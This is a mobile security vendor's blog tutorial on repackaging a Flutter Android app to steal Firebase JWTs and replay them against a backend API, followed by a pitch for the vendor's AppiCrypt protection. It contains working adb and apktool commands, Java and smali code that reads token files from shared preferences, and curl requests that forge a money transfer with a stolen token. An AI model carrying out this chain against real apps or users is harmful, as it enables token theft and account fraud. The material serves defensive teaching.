LogoLogo
HomeArticlesCommunity ProductsPremium ProductsGitHubTalsec Website
  • Introduction
  • articles
    • OWASP Top 10 For Flutter – M6: Inadequate Privacy Controls in Flutter & Dart
    • Simple Root Detection: Implementation and verification
    • OWASP Top 10 For Flutter - M5: Insecure Communication for Flutter and Dart
    • OWASP Top 10 For Flutter – M4: Insufficient Input/Output Validation in Flutter
    • OWASP Top 10 For Flutter – M3: Insecure Authentication and Authorization in Flutter
    • OWASP Top 10 For Flutter – M2: Inadequate Supply Chain Security in Flutter
    • OWASP Top 10 For Flutter - M1: Mastering Credential Security in Flutter
    • Hook, Hack, Defend: Frida’s Impact on Mobile Security & How to Fight Back
    • Emulators in Gaming: Threats and Detections
    • Exclusive Research: Unlocking Reliable Crash Tracking with PLCrashReporter for iOS SDKs
    • 🚀A Developer’s Guide to Implement End-to-End Encryption in Mobile Apps 🛡️
    • How to Block Screenshots, Screen Recording, and Remote Access Tools in Android and iOS Apps
    • Flutter Security 101: Restricting Installs to Protect Your App from Unofficial Sources
    • How to test a RASP? OWASP MAS: RASP Techniques Not Implemented [MASWE-0103]
    • How to implement Secure Storage in Flutter?
    • User Authentication Risks Coverage in Flutter Mobile Apps | TALSEE
    • Fact about the origin of the Talsec name
    • React Native Secure Boilerplate 2024: Ignite with freeRASP
    • Flutter CTO Report 2024: Flutter App Security Trends
    • Mobile API Anti-abuse Protection with AppiCrypt®: A New Play Integrity and DeviceCheck Alternative
    • Hacking and protection of Mobile Apps and backend APIs | 2024 Talsec Threat Modeling Exercise
    • Detect system VPNs with freeRASP
    • Introducing Talsec’s advanced malware protection!
    • Fraud-Proofing an Android App: Choosing the Best Device ID for Promo Abuse Prevention
    • Enhancing Capacitor App Security with freeRASP: Your Shield Against Threats 🛡️
    • Safeguarding Your Data in React Native: Secure Storage Solutions
    • Secure Storage: What Flutter can do, what Flutter could do
    • 🔒 Flutter Plugin Attack: Mechanics and Prevention
    • Protecting Your API from App Impersonation: Token Hijacking Guide and Mitigation of JWT Theft
    • Build secure apps in React Native
    • How to Hack & Protect Flutter Apps — Simple and Actionable Guide (Pt. 1/3)
    • How to Hack & Protect Flutter Apps — OWASP MAS and RASP. (Pt. 2/3)
    • How to Hack & Protect Flutter Apps — Steal Firebase Auth token and attack the API. (Pt. 3/3)
    • freeRASP meets Cordova
    • Philosophizing security in a mobile-first world
    • 5 Things John Learned Fighting Hackers of His App — A must-read for PM’s and CISO’s
    • Missing Hero of Flutter World
Powered by GitBook
LogoLogo

Company

  • General Terms and Conditions

Stay Connected

  • LinkedIn
  • X
  • YouTube
On this page
  • Token-Based Authentication: Vulnerabilities and Solutions
  • Beware of App Cloning
  • A Step-by-Step Guide to Exploiting JWT: A Case Study
  • Step 1: Tamper the app
  • Step 2: Steal the token
  • Step 3: Attack the API
  • Let’s Roll This Plan into Action
  • Get the target APK
  • Unpack the APK and create a malicious payload
  • Merging smali codes
  • Rebuild the APK
  • Attacking the API with Stolen JWT
  • Calling the Firebase API
  • Attacking Let’s Eat app’s API
  • How to Mitigate the Problem: AppiCrypt
  • The Cryptogram Header
  • Conclusion

Was this helpful?

  1. articles

Protecting Your API from App Impersonation: Token Hijacking Guide and Mitigation of JWT Theft

Previous🔒 Flutter Plugin Attack: Mechanics and PreventionNextBuild secure apps in React Native

Last updated 4 months ago

Was this helpful?

Gone are the days of locally-held data and standalone applications. With the rise of smartphones and portable devices, we are constantly on the go and reliant on network calls for everything from social communication to live updates. As a result, protecting backend servers and API calls has become more crucial than ever.

Token-Based Authentication: Vulnerabilities and Solutions

Most of the time, the application uses an API to make HTTP requests to the server. The server then responds with the given data. Most devs know and use it all the time. However, we often have data with restricted access — data only some users/entities can obtain. Moreover, they need to provide a way to prove who they are.

A typical method for authorizing requests (and therefore protecting data) is to use tokens signed by the server. The authentication request is sent to the server. If authentication is successful, the server issues a signed token and sends it back to the client. The application will use it on every request, so the server knows it is talking to an authorized entity. Although the token is used during its validity period (usually minutes), it is long enough to exploit the leaked token even manually.

The current standard is to carry these requests over HTTPS, which TLS protects. The whole process is encrypted, so it will not be useful to attackers even if they manage to catch a request. This ensures the confidentiality of communication — the attacker knows there is some communication but does not know its actual content.

Beware of App Cloning

Attackers can impersonate a legit application if they steal a token.

There are multiple ways that the app can be attacked and compromised in order to steal the token and use it for malicious purposes. Here are a few clear examples:

  1. If an attacker gains access to a rooted device, they can misuse the token.

  2. An attacker can create a tampered version of the app, distribute it, convince the user to install it, and then obtain a valid token from the tampered app to misuse it in an automated way.

For the purposes of this demonstration, we will be focusing on the second option.

The solution to these issues is to check clients’ integrity to ensure that:

  1. A communicating party is a legit client — this blocks requests from other sources, such as Postman.

  2. A communicating party can be trusted — the client’s integrity is intact (e.g. not tampered with), and it is running in a safe space (e.g. unrooted device).

A Step-by-Step Guide to Exploiting JWT: A Case Study

Disclaimer: While we provide information on legitimate hacking techniques, we do not condone using this information for malicious purposes. Please only use this information for educational purposes.

The demonstration is presented on an Android platform; however, it is important to note that the iOS version is very similar in nature, and the same principles and considerations discussed stand the same.

Let’s have an imaginary company that provides meal tickets as cash credit in their app. The app uses Firebase Authentication to authenticate users. An operation to send credits from one person to another is handled by the Firebase cloud function. To identify which user is sending their credits, JWT ID Token is used. This token can be retrieved from the Firebase instance after the user is successfully authenticated.

Now for the hacking part — an overview of the attack.

Step 1: Tamper the app

First of all, we need to gain access to the application scope itself. There are several ways how this can be done. In most cases, rooting a device would give us the access we need. However, for our demonstration, we choose application repackaging.

Wait a minute. Where would an ordinary user get a tampered app?

Step 2: Steal the token

Step 3: Attack the API

Getting the format of API requests can be done by self-proxying. After that, you recycle this with a stolen token using Postman, curl, or other software.

To strike a balance between “too abstract” and “too complicated”, some implementation details will be omitted as a story for another time.

Let’s Roll This Plan into Action

Get the target APK

Initially, we acquire the valuable APK file of an application. This can be achieved in many ways. The technique described here uses adb — a standard tool which should be in the toolbelt of every developer.

After installation of the app, we need to get its package name. Using the terminal, we can list package names of all installed apps/services using the command:

adb shell pm list packages

This gives us a way shorter and cleaner list. Moreover, we found our wanted package name: com.mycompany.letseat

Now we need to get the path where the APK file is stored. This time, we use the shell functionality of adb.

adb shell pm path com.mycompany.letseat

This returns the path where APK is located. Using adb pull, we can extract this APK to our desired destination.

adb pull (apk location)

Now we finally have the APK, which we will tamper. In the next section, we will decompile it, modify it and repackage it.

Unpack the APK and create a malicious payload

To decompile the APK, we will use the apktool d command. We are also going to set the output directory for better clarity.

apktool d -o=decompiled_apk base.apk

The APK is extracted into the decompiled_apk folder and has a structure like this:

.
└── decompiled_apk
    ├── AndroidManifest.xml
    ├── META-INF/
    ├── apktool.yml
    ├── assets/
    ├── kotlin/
    ├── lib/
    ├── original/
    ├── res/
    ├── smali/
    └── unknown/

We recommend you to play around a bit and think of new ways to mess around with the application (e.g. you can see flutter assets there — you could inject ads using assets). What we care about for now is a folder named smali and its subfolders com/mycompany/letseat (what does that path remind you of?).

The smali folder contains decompiled code of the android part of the Flutter app. Let’s see MainActivity.smali for reference.

.class public final Lcom/mycompany/letseat/MainActivity;
.super Lio/flutter/embedding/android/i;
.source ""


# direct methods
.method public constructor <init>()V
    .locals 0

    invoke-direct {p0}, Lio/flutter/embedding/android/i;-><init>()V

    return-void
.end method

It looks like some broken version of C#. What is this smali thing anyway?

Smali code is an assembly language used in Dalvik VM — a custom Java VM for Android. What we did now is called baksmaling — getting smali code from Dalvik file (.dex). Apktool makes this “decompiling” for us, so we do not have to deal with .dex files. Smali code is primarily used in reverse engineering.

In the example above, you could make an educated guess — the init function is invoked, and this function belongs to the io/flutter/embedding/android package, and the function itself is in a file named V. Let’s try to verify this guess.

Path io/flutter/embedding/android exists, and there is a file named i.smali. It even contains multiple reference to the class’s constructor <init>().

However, something here is even more interesting. Look at some non-gibberish names: onCreate, onStart, onResume, onStop, onDestroy, … It looks like an Android activity lifecycle. We recommend you to check it out.

For now, all you need to know is that a lifecycle is a group of callbacks called when the app changes states (the app was launched, the app was put into the background, the device was rotated, …). We will choose onCreate as the place where we inject our code. However, this code has to be written in smali code. We have two options here:

  1. Writing code directly in smali code (good luck with that)

  2. Writing Kotlin/Java code, disassembling compiled code and copying that into the onCreate method

We are going to choose the second option. We are going to skip the creation and compilation of the APK. The most important part is the code itself:

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        // Defining as one-liner so injection in onCreate is easier
        steal();
    }

    public void steal() {
        // Getting valuable data
    }
}

In the onCreate method, we only call the steal() function. The stealing function then finds shared preferences, iterates through all files and logs their content (to keep this article concise, calls for the server are replaced by logging). Notice, that the first run (runs before first login/auth) will log “File not found”.

public void steal() {
  // Getting dir with preferences
  File prefsDir = new File(getApplicationInfo().dataDir, "shared_prefs");

  // Checking whether preferences exist...
  if (prefsDir.exists() && prefsDir.isDirectory()) {
    String[] files = prefsDir.list();
    // ... if so, find the right one.
    if (files != null) {
      for (String file: files) {
        // We know the files. We could send them over to
        // server (code omitted for simplicity). For now
        // logging will do it.
        Scanner myReader;
        try {
          myReader = new Scanner(new File(prefsDir.getPath(), file));
          List < String > lines = new ArrayList < String > ();
          while (myReader.hasNextLine()) {
            lines.add(myReader.nextLine());
          }
          Log.e("JWT", lines.toString());
        } catch (FileNotFoundException e) {
          Log.e("JWT", "File not found");
        }
      }
    }
  }
}

Merging smali codes

Now, we can build our application into APK and then decompile it. After decompilation, we will go to MainActivity.smali file and search for our steal() function. The smali code of steal() function looks like this:

.method public final steal()V
    .locals 12

    .line 32
    new-instance v0, Ljava/io/File;

    invoke-virtual {p0}, Lcom/example/myapplication/MainActivity;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;

    move-result-object v1

    iget-object v1, v1, Landroid/content/pm/ApplicationInfo;->dataDir:Ljava/lang/String;

    const-string v2, "shared_prefs"

    invoke-direct {v0, v1, v2}, Ljava/io/File;-><init>(Ljava/lang/String;Ljava/lang/String;)V

...

What we need to do now is to merge two smali codes carefully.

  1. Copy steal invocation from MainActivity.smali to i.smali

  2. Insert steal function from MainActivity.smali to i.smali

  3. Fix package references in i.smali

After examination, we can see that the steal() function invocation in the MainActivity.smali is translated as a one-liner.

invoke-virtual {p0}, Lcom/example/myapplication/MainActivity;->steal()V

However, it is invoked from the wrong package name. Since all related functions in the Let’s Eat app are in the i.smali file, we need to reference it. Let’s fix that.

invoke-virtual {p0}, Lio/flutter/embedding/android/i;->steal()V

Another surgical operation is copying the steal() function. After copying it, we need to update the package reference as well.

Notice this line. When we get the application information, we apply it to the current instance. Package reference is, therefore, MyApplication.

invoke-virtual {p0}, Lcom/example/myapplication/MainActivity;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;

This would cause an error since you are referencing in non-existent package (in the “context” of the Let’s E`at app). However, you can use a reference to any android Activity. Therefore, you can rewrite this into the code below without any problems.

invoke-virtual {p0}, Landroid/app/Activity;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;

Rebuild the APK

We successfully modified the code. Putting the project back into the APK is a straightforward process — using apktool, we do just that, and the apksigner will sign our package. Since there is no RASP protection to protect the app, the device will install it without any problem.

To rebuild the APK, we need to go one level above the decompiled APK (so we can refer to it by folder name). Then we use apktool.

apktool b decompiled_apk

A disadvantage of decompiling is that the signature used for signing is now gone. Because of that, we need to sign it by hand. An unsigned package is bad (and useless) because:

  1. You cannot put it on the app store

  2. You cannot install it properly (e.g. drag and drop the APK onto the emulator)

To sign an APK, you need a key. Since key generation is out of the scope of this article, we recommend you to go through the official Android developers guide.

For signing, you can use apksigner.

apksigner sign --ks=my-release-key.keystore base.apk

Now you have an APK containing malicious code which exposes JWT.

Attacking the API with Stolen JWT

When we run the application, we can see the format of the stolen payload.

{
   "cachedTokenState":{
      "refresh_token":"APJWN8eQaglkIjefuwj7Y0zE8RegoK_DMe82dA_2P00k2npXliwOT8wxseVYjBUZRWSSinie8wx8m3Q-6KuSxI3Gv1oJRQ6a6VtH-c6wmyTWQZsqUwQ_FdawC8pyvpcqos9DpKRj03vNl3mBX1WzSoWxKOwrKyDFNRtK3fs6eFkBDRBHMbWvNFqy3Hn2h_tWJUvN_cTH1egQH5YnAzd2TpxFrTTMxB1JyJ16--ELXlk9Yqi-QgEZ9nc",
      "access_token":"eyJhbGciOiJSUzI1NiIsImtpZCI6ImY4NzZiNzIxNDAwYmZhZmEyOWQ0MTFmZTYwODE2YmRhZWMyM2IzODIiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3NlY3VyZXRva2VuLmdvb2dsZS5jb20vd2ViaW5hci0tLW1pc3N1c2Utand0IiwiYXVkIjoid2ViaW5hci0tLW1pc3N1c2Utand0IiwiYXV0aF90aW1lIjoxNjc3ODM0MTI4LCJ1c2VyX2lkIjoib1RKeDY0SHpZMFNkMkVSVFpvcjVnaG81Y2E5MyIsInN1YiI6Im9USng2NEh6WTBTZDJFUlRab3I1Z2hvNWNhOTMiLCJpYXQiOjE2Nzc4MzQxMjgsImV4cCI6MTY3NzgzNzcyOCwiZW1haWwiOiJkZXZlbG9wZXJAdGFsc2VjLmFwcCIsImVtYWlsX3ZlcmlmaWVkIjpmYWxzZSwiZmlyZWJhc2UiOnsiaWRlbnRpdGllcyI6eyJlbWFpbCI6WyJkZXZlbG9wZXJAdGFsc2VjLmFwcCJdfSwic2lnbl9pbl9wcm92aWRlciI6InBhc3N3b3JkIn19.ODkew1FVJaklLA0rBOGke64XoOTYsnt4ONupuMywVwDVrw2JJlVeIf8FimPxznaGz5uckls9p_L8VVMfzNAetVll2HiLrCNoay2RIV015zlBjvTPqUJ_v2oeD7g5YGDUHJOZgQoqz4LAyolJa2FP9M2mqNSP6B2byLtU1_TVS_iukSEZFoIsv2Xn6AQPFwcZEXbX7gXwI8SUfz_N4N6LvWSX6JInx3kqTyrn3HPl-cCwgtSB-XpoUCbdGGcTstsT0ZBXIegcHuGiyaQ2vAJP18zR76iA_lz5X5HmIA2rcks2hOIA4tDlzrVVMNt781w2AK7YiXKg-Zp9Dc6FQkgJPA",
      "expires_in":3600,
      "token_type":"Bearer",
      "issued_at":1677834112014
   },
   "applicationName":"[DEFAULT]",
   "type":"com.google.firebase.auth.internal.DefaultFirebaseUser",
   "userInfos":[
      {
         "userId":"oTJx64HzY0Sd2ERTZor5gho5ca93",
         "providerId":"firebase",
         "email":"developer@talsec.app",
         "isEmailVerified":false
      },
      {
         "userId":"developer@talsec.app",
         "providerId":"password",
         "email":"developer@talsec.app",
         "isEmailVerified":false
      }
   ],
   "anonymous":false,
   "version":"2",
   "userMetadata":{
      "lastSignInTimestamp":1677834128196,
      "creationTimestamp":1677833942740
   }
}

Calling the Firebase API

First, we will try to query the Firebase API itself. It is handy when an app has a public Firebase REST API.

We will need to grab Firebase project_id from the mobile app:

Second, notice key-value refresh_token and access_token from the Firebase file.

These can be easily misused with project_id. Since the endpoint is the same, we only need to provide valid values. Be aware that these tokens have limited validity, and you will need to get fresh ones quite often.

# PROJECT_ID - ID of firebase project (see console output above)
# ACCESS_TOKEN - access_token value from stolen payload
curl 'https://identitytoolkit.googleapis.com/v1/accounts:lookup?key=$PROJECT_ID' -H 'Content-Type: application/json' --data-binary '{"idToken":"$ACCESS_TOKEN"}'

This request returns more data.

{
    "kind": "identitytoolkit#GetAccountInfoResponse",
    "users": [
        {
            "localId": "oTJx64HzY0Sd2ERTZor5gho5ca93",
            "email": "developer@talsec.app",
            "passwordHash": "UkVEQUNURUQ=",
            "emailVerified": false,
            "passwordUpdatedAt": 1677833942740,
            "providerUserInfo": [
                {
                    "providerId": "password",
                    "federatedId": "developer@talsec.app",
                    "email": "developer@talsec.app",
                    "rawId": "developer@talsec.app"
                }
            ],
            "validSince": "1677833942",
            "disabled": false,
            "lastLoginAt": "1678363781388",
            "createdAt": "1677833942740",
            "lastRefreshAt": "2023-03-09T12:09:41.388Z"
        }
    ]
}

If you wonder where this project_id comes from, it is a google-services.json file which you can find in the Firebase console.

Attacking Let’s Eat app’s API

Request type: POST,
header: {
  Content-Type: "application/json",
  Authorization: "eyJhbGciOiJSUzI1NiIsImtpZCI6I..."
},
body: {
  "amount": 132,
  "recipient": "Joe Example",
}

Forging requests in our example is done by providing access_token to the header.

curl 'https://letseat-example.com' -H 'Content-Type: application/json' -H 'Authorization: $access_token'--data-binary '{"amount": 150, "recipient": "Fiskus Kuskus"}'

We successfully transferred stolen money.

{
   "status":"success",
   "msg":"Sending 150 from oTJx64HzY0Sd2ERTZor5gho5ca93 to Fiskus Kuskus"
}

How to Mitigate the Problem: AppiCrypt

AppiCrypt makes protecting your backend API easy by employing the mobile app and device integrity state control, allowing only genuine API calls to communicate with remote services.

It generates a unique app cryptogram evaluated by a script on the backend side to detect and prevent threats like session hijacking (which we have just demonstrated), bot attacks or app impersonation.

The idea behind this technology is not just to protect APIs but to let your backend know that RASP controls were overcome or turned off by attackers. So gateway can easily block the session if the App integrity is compromised, and backends only process API calls if RASP controls check out.

The Cryptogram Header

Cryptogram is inserted into the header. There is no need to change the payload of the message itself.

// Returns cryptogram for your request
String cryptogram = Talsec.getAppiCrypt(...);
client.post(url, headers: {"AppiCrypt": cryptogram}, body: body);

Cryptogram itself is then an encrypted one-time value. You cannot modify it, and even if you manage to steal a payload containing a cryptogram, it is useless — a cryptogram cannot be simply reused. Nonce allows you to determine that the cryptogram belongs to your API call and isn’t replayed by an attacker. Using an old cryptogram will result in failure of its check (server will respond with code 403):

{"message":"Forbidden"}

Where AppiCrypt excels is its integration. It does not require any integration with external APIs. It ensures low latency and does not introduce a single point of failure. The cryptogram is verified by locally running a simple script on your backend. AppiCrypt is a generic solution for all types of iOS and Android devices without dependency on Google Play or other OEM services.

Conclusion

In this article, we looked at one way of attacking a mobile application. We showed how Firebase tokens can be stolen from the app and used to attack the API. We also explained how an APK file could be decompiled, what smali code is and how to add malicious code. Finally, we learned how we could protect ourselves from this attack.

This article was focused on the Android platform, but a similar problem may occur on iOS or other mobile systems. From the user’s perspective, it is important to be careful when downloading and using applications from unverified sources and check their permissions and reviews. From the developer’s point of view, mobile security is a constantly evolving area that requires attention and updating of knowledge.

We hope this article helped you understand the risks associated with mobile security and taught you some ways to minimize them.

Written by Jaroslav Novotný — Flutter developer, Tomáš Soukal — Security Consultant and Tomáš Biloš — Backend developer

However, there is still an opportunity for a hacker to strike — a compromised client application crafted for token stealing. Attackers can impersonate a legit application after stealing a token. The server cannot tell whether the legit application, compromised application or some other tool (e.g. , , …) is communicating with it. It just checks if the provided token is valid, fresh, and with proper scope (hint: a stolen token still is).

Remote Code Execution and Escalation of Privilege vulnerabilities are discovered all the time; see

App tampering is currently quite easy. Using proper tools (), you can decompile, modify and repackage the application. One only needs to entice potential victims into downloading a seemingly authentic application.

Despite best efforts, . With the rise of alternative stores and , you will likely find even more malware. Real-world examples could also be apps that promise you to gain some advantage or free versions of apps that you typically need to pay for.

If not, we recommend you give it a read, but in a nutshell — Firebase stores essential information in shared preferences. You can access and parse these data without any problem. And then misuse them in API calls.

In this part, we will mainly use . Apktool is a handy tool for reverse engineering of Android APK files. You can download apktool in the provided link.

Getting the format of the request is possible. For Flutter, you could use . A more general approach would be . With a bit of time, you will get a format of the POST request in our example app:

We can protect against this impersonation by adding an additional security control implementing the zero trust security model — . The zero trust assumes that all devices and applications cannot be trusted by default. Instead of relying on traditional security measures, zero trust employs a variety of security controls to authenticate and authorize devices and applications before granting access to protected resources. This aligns with the requirements from MASVS-RESILIENCE and MASVS-AUTH control groups.

You may have come across a similar technology Firebase AppCheck. We want to emphasize the significant difference between AppCheck and AppiCrypt. AppCheck is not applicable for every call but only during user enrollment. That means there remains space for token theft. It doesn’t prevent leakage but token issuance. We compared these technologies in the .

You can find more details about AppiCrypt on .

curl
Postman
https://source.android.com/docs/security/bulletin/asb-overview
apktool
shady apps can be found in the store
sideloading
Do you remember Tom’s article about stealing and attacking APIs?
apktool
reFlutter
proxy
AppiCrypt
OWASP MAS
previous article
our website
The activity lifecycle  |  Android DevelopersAndroid Developers
Video supplements the article
Sign your app  |  Android Studio  |  Android DevelopersAndroid Developers
The content of Firebase file com.google.firebase.auth.api.Store.{…}.xml
Result of command
Result of commands
Result of command
Getting project_id for application. Part of the key is redacted for security reasons.
This file contains all the secrets you need
Only calls from valid apps pass through the AppiCrypt security layer
Logo
Logo